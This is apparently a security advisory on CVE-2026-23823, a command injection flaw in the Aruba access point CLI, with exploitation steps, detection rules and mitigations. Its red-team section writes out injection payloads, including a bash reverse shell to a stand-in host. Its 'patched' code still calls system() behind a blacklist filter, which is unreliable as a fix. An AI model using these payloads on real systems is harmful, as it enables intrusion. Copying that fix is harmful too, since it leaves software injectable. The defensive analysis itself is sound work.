CVE-2026-23823

Executive Summary

CVE-2026-23823 is a command injection vulnerability in the command line interface (CLI) of Aruba Access Points running AOS-10.7.x.x and above. An authenticated remote attacker can exploit this flaw to execute arbitrary commands on the underlying operating system. The vulnerability has a CVSS score of 7.2 (High), indicating significant impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, suggesting low exploitation activity in the wild at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: High (PR:H) – Attacker must have authenticated access to the CLI.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Arbitrary command execution.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: High. Although authentication is required, the ability to execute arbitrary commands on the OS makes this a critical risk for enterprise environments using affected Aruba APs.

Deep Dive & Mechanics

The vulnerability resides in the CLI of Aruba Access Points running AOS-10.7.x.x and later. The CLI does not properly sanitize user-supplied input before passing it to the underlying operating system shell. An authenticated attacker can inject shell metacharacters (e.g., ;, |, &, $()) into CLI commands, leading to arbitrary command execution.

Root Cause: Insufficient input validation in the CLI parsing logic. The application likely uses a function like system() or exec() without proper escaping.

Attack Vector: The attacker must have valid credentials (e.g., admin or operator) to access the AP’s CLI via SSH, Telnet, or console. Once authenticated, they can craft a malicious command that includes shell injection payloads.

Impact: Full compromise of the Access Point, including data exfiltration, lateral movement within the network, and potential disruption of wireless services.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (Conceptual):

void execute_cli_command(char *user_input) {
    char command[256];
    snprintf(command, sizeof(command), "some_tool %s", user_input);
    system(command); // No sanitization
}

Patched Code (Expected):

void execute_cli_command(char *user_input) {
    // Sanitize input: remove shell metacharacters
    char *sanitized = sanitize_input(user_input);
    char command[256];
    snprintf(command, sizeof(command), "some_tool %s", sanitized);
    system(command);
}

The patch would involve strict input validation, whitelisting allowed characters, and using parameterized commands or safer APIs like execvp().

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for an Aruba AP running AOS-10.7.x.x or later.
• Network access to the AP’s CLI (SSH/Telnet).

Exploitation Steps:

1. Connect to the AP via SSH: ssh admin@<AP_IP>
2. Enter the CLI and execute a command with injection:

   (config) # show running-config ; id
   

   This would execute id after the legitimate command.
3. For a reverse shell:

   (config) # show running-config ; bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor CLI logs for unusual characters (e.g., ;, |, &, $()).
• Alert on commands that spawn child processes (e.g., bash, sh, python).
• Use network segmentation to limit CLI access to trusted management hosts.

Hunting:

• Search for CLI commands containing shell metacharacters in syslog or audit logs.
• Look for outbound connections from APs to unusual IPs/ports (potential reverse shells).

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from APs to non-standard ports (e.g., 4444, 1337).
  • CLI commands containing ;, |, &, $(), or backticks.
• Host:
  • Unexpected processes (e.g., bash, nc, python) running on the AP.
  • Modified system binaries or scripts.
  • Unauthorized user accounts or SSH keys.
• Logs:
  • CLI audit logs showing injection patterns.
  • System logs with error messages from system() calls.

Detection Engineering

YARA Rule

rule CVE_2026_23823_Aruba_CLI_Injection {
    meta:
        description = "Detects command injection attempts in Aruba AP CLI logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23823"
    strings:
        $injection1 = /[;&|`$()]/
        $injection2 = /bash -i/
        $injection3 = /\/dev\/tcp\//
    condition:
        any of them
}

Sigma Rule

title: Aruba AP CLI Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection patterns in Aruba AP CLI logs
author: Valters IT
logsource:
    product: aruba
    service: cli
detection:
    selection:
        - Command|contains: 
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in certain CLI contexts (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-23823 Aruba AP CLI Command Injection"; flow:to_server,established; content:"|3B|"; nocase; content:"|7C|"; distance:0; content:"|26|"; distance:0; sid:1000001; rev:1;)

Note: This rule detects shell metacharacters in network traffic. Adjust based on actual CLI protocol (SSH/Telnet).

Remediation & Mitigation

Immediate Actions:

1. Restrict CLI Access: Use ACLs to limit SSH/Telnet access to trusted management IPs only.
2. Enforce Strong Authentication: Use multi-factor authentication (MFA) for CLI access.
3. Monitor Logs: Enable detailed CLI auditing and forward logs to a SIEM.
4. Disable Unused Services: If Telnet is enabled, disable it in favor of SSH.

Long-Term Fix:

• Apply vendor patch when released.
• Upgrade to a non-vulnerable version (AOS-10.4.x or AOS-8 Instant).
• Implement network segmentation to isolate APs from critical systems.

Workaround:

• If patching is not possible, consider replacing affected APs with models running AOS-10.4.x or AOS-8.

Valters IT